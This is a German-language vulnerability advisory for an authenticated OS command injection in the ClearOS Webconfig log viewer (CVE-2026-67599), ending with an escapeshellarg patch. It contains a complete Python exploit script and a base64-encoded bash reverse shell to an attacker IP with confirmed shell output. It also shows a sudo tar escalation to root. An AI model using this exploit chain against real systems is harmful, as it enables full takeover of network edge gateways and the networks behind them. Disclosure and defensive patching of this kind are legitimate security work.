
Authenticated Blind OS Command Injection in ClearOS
Paket: ClearFoundation
Getestete Versionen: ClearOS 7.9.1.342252
Schwachstellenart: OS-Befehleinschleusung (CWE-78)
Schweregrad: Hoch
CVE: CVE-2026-67599
CVSS v3.1-Vektor: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H (Score: 7.2)
Dank an VulnCheck für die Hilfe bei der Zuweisung und Nachverfolgung dieser CVE-2026-67599 in meinem Namen.
ClearOS ist ein auf CentOS/RHEL basierendes Betriebssystem, das als Netzwerk-Gateway, Plattform für Unified Threat Management (UTM) und Edge-Server für kleine bis mittlere Unternehmen dient. Da es hauptsächlich als Edge-Gerät arbeitet, verwaltet es Firewall-Regeln, VPN-Verbindungen, Routing und die zentrale Netzwerkinfrastruktur.
Da ClearOS an der Netzwerkperipherie eingesetzt wird, sind administrative Schnittstellen wie Webconfig (Port 81) häufig gegenüber Verwaltungssegmenten oder direkt gegenüber externen Netzwerken exponiert. Eine Befehlsausführungsschwachstelle in dieser Schnittstelle ermöglicht es einem Angreifer, das Gateway zu kompromittieren, einen persistenten Zugang am Edge zu etablieren und direkt in interne Netzwerksegmente zu wechseln.
/usr/clearos/apps/base/libraries/File.php — Zeilen 297, 314
Der an den Log-Viewer-Endpunkt übermittelte Parameter filter wird unbereinigt in einen in File.php konstruierten Shell-Befehl übergeben. Der Wert $regex wird direkt in die Befehlszeichenfolge interpoliert, anstatt als ordnungsgemäß maskiertes Argument übergeben zu werden, wodurch Befehlsersetzungs-Payloads wie $(...) oder Backtick-Ausdrücke als Benutzer webconfig ausgeführt werden können.
Ich bin während eines aktiven Einsatzes darüber gestolpert. Hier ist ein einfacher Artefakt-Generator.
#!/usr/bin/python3
import requests
import sys
import warnings
warnings.filterwarnings("ignore")
import argparse
import urllib.parse
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--username", required=True, help="username")
parser.add_argument("-p", "--password", required=True, help="password")
parser.add_argument("-t", "--target", required=True, help="target")
parser.add_argument("-c", "--command", default="id>/tmp/lazytitanwazhere", help="command to execute (default: id>/tmp/lazytitanwazhere)")
args = parser.parse_args()
s = requests.Session()
s.headers.update({"Content-Type": "application/x-www-form-urlencoded"})
s.verify = False
login_data = f"ci_csrf_token=random&os_username={args.username}&os_password={args.password}&code=en_US&submit=Login"
s.post(f"https://{args.target}:81/app/base/session/login/", data=login_data, cookies={"ci_csrf_token":"random"})
token = s.cookies.get("ci_csrf_token")
command_to_execute = urllib.parse.quote_plus(args.command)
command_data = f"ci_csrf_token={token}&file=system&filter=$({command_to_execute})&display=Display"
s.post(f"https://{args.target}:81/app/log_viewer/index", data=command_data)
Reverse-Shell-Beispiel (Angreifer auf .1, Ziel auf .129):
python .\testing.py -u root -p password -t 192.168.137.129 -c "echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzNy4xLzEzMzcgMD4mMQ==|base64 -d|bash"
Bestätigte Ausgabe:
Ncat: Connection from 192.168.137.129:52984.
bash: no job control in this shell
bash-4.2$ id
uid=995(webconfig) gid=994(webconfig) groups=994(webconfig)
Eine Privilegieneskalation zu root ist dank der standardmäßigen, sehr großzügigen sudoers-Regeln problemlos möglich:
bash-4.2$ id
uid=995(webconfig) gid=994(webconfig) groups=994(webconfig)
bash-4.2$ sudo -l
Matching Defaults entries for webconfig on server:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY
HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC
LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin, !syslog, env_keep+=http_proxy, env_keep+=https_proxy
User webconfig may run the following commands on server:
(root) NOPASSWD: /usr/bin/killall, /usr/sbin/postmap, /usr/sbin/postconf, /usr/sbin/run-app-upgrades,
/usr/sbin/configuration-restore, /bin/tar, /usr/sbin/mkdosfs, /usr/bin/cat, /usr/sbin/mkfs.vfat,
/usr/sbin/mkfs.xfs, /usr/bin/mount, /usr/sbin/pvs, /usr/sbin/vgdisplay, /usr/sbin/lvdisplay, /usr/sbin/pvremove,
/usr/sbin/vgremove, /usr/sbin/lvremove, /usr/bin/umount, /usr/bin/df, /usr/sbin/lvextend, /usr/sbin/lvreduce,
/usr/sbin/blkid, /usr/bin/mkdir, /usr/sbin/mkfs.ext3, /usr/sbin/mkfs.ext4, /usr/sbin/lvcreate,
/usr/sbin/vgcreate, /usr/sbin/pvcreate, /usr/sbin/storagize-mappings, /usr/sbin/app-storage-create,
/bin/findmnt, /sbin/sfdisk, /sbin/parted, /sbin/mkfs.ext3, /sbin/mkfs.ext4, /usr/sbin/ntpdate, /sbin/hwclock,
/usr/bin/openssl, /usr/sbin/dmidecode, /usr/sbin/initialize-accounts, /usr/sbin/nscd,
/usr/clearos/sandbox/usr/sbin/httpd, /usr/sbin/yum-install, /usr/bin/yum-config-manager, /usr/bin/yum,
/usr/sbin/userdel, /usr/sbin/app-manager, /usr/sbin/app-rename, /usr/sbin/app-realpath, /usr/sbin/app-passwd,
/usr/bin/systemctl, /usr/bin/passwd, /usr/bin/du, /usr/bin/chfn, /usr/bin/tail, /usr/bin/find, /usr/bin/file,
/usr/bin/api, /sbin/service, /sbin/shutdown, /bin/touch, /bin/rmdir, /bin/rm, /bin/rpm, /bin/mv, /bin/mkdir,
/bin/ls, /bin/kill, /bin/grep, /bin/df, /bin/cp, /bin/chown, /bin/chmod, /bin/cat, /usr/sbin/wc-yum,
/usr/bin/eventsctl, /usr/bin/mkhost.sh, /usr/sbin/brctl, /sbin/arping, /sbin/iwconfig, /sbin/ip, /sbin/ifup,
/sbin/ifdown, /sbin/ifconfig, /sbin/ethtool, /bin/hostname
Im folgenden Beispiel wird das tar-Binary zur Eskalation auf root verwendet:
bash-4.2$ sudo tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
tar: Removing leading `/' from member names
[root@localhost ~]# id
uid=0(root) gid=0(root) groups=0(root)
Ein authentifizierter Weboberflächen-Benutzer mit Zugriff auf Reports führt zu vollständiger OS-weiter Befehlsausführung als Benutzer webconfig. In einer Standardinstallation von ClearOS 7.9 erhält webconfig umfangreiche NOPASSWD-sudo-Rechte, die eine sofortige Eskalation auf root ohne zusätzliche Anmeldedaten ermöglichen. Ein Angreifer kann dauerhaften root-Zugriff auf den zugrunde liegenden Host erlangen, einschließlich aller Daten, Dienste und Netzwerkkonfigurationen, die vom System verwaltet werden.
ClearOS ist End-of-Life. Die neueste, weiterhin herunterladbare Distribution von clearos.com (Version ClearOS-7.9.1.342252) stammt vom 13. Oktober 2021 und erhält keinerlei Upstream-Wartung oder Sicherheitsupdates.
Aus diesem Grund ist der folgende Code-Fix streng genommen nur ein temporärer Notbehelf. Ein ungewartetes Betriebssystem an Ihrer Netzwerkperipherie zu betreiben, ist Spiel mit dem Feuer. Der dringend empfohlene Weg ist, vollständig von ClearOS auf ein unterstütztes Edge-Gerät oder eine UTM-Plattform zu migrieren.
Wenn Sie diesen Host während der Planung einer Migration am Leben halten müssen, verpacken Sie $regex in escapeshellarg() in den Zeilen 297 und 314 von /usr/clearos/apps/base/libraries/File.php. Ändern Sie den Code von:
'"' . $regex . '" ' . escapeshellarg($this->filename) . " > " . $tempfile,
Zu:
'-e ' . escapeshellarg($regex) . ' ' . escapeshellarg($this->filename) . " >" . $tempfile,
Starten Sie anschließend den Webconfig-Dienst neu:
sudo systemctl restart webconfig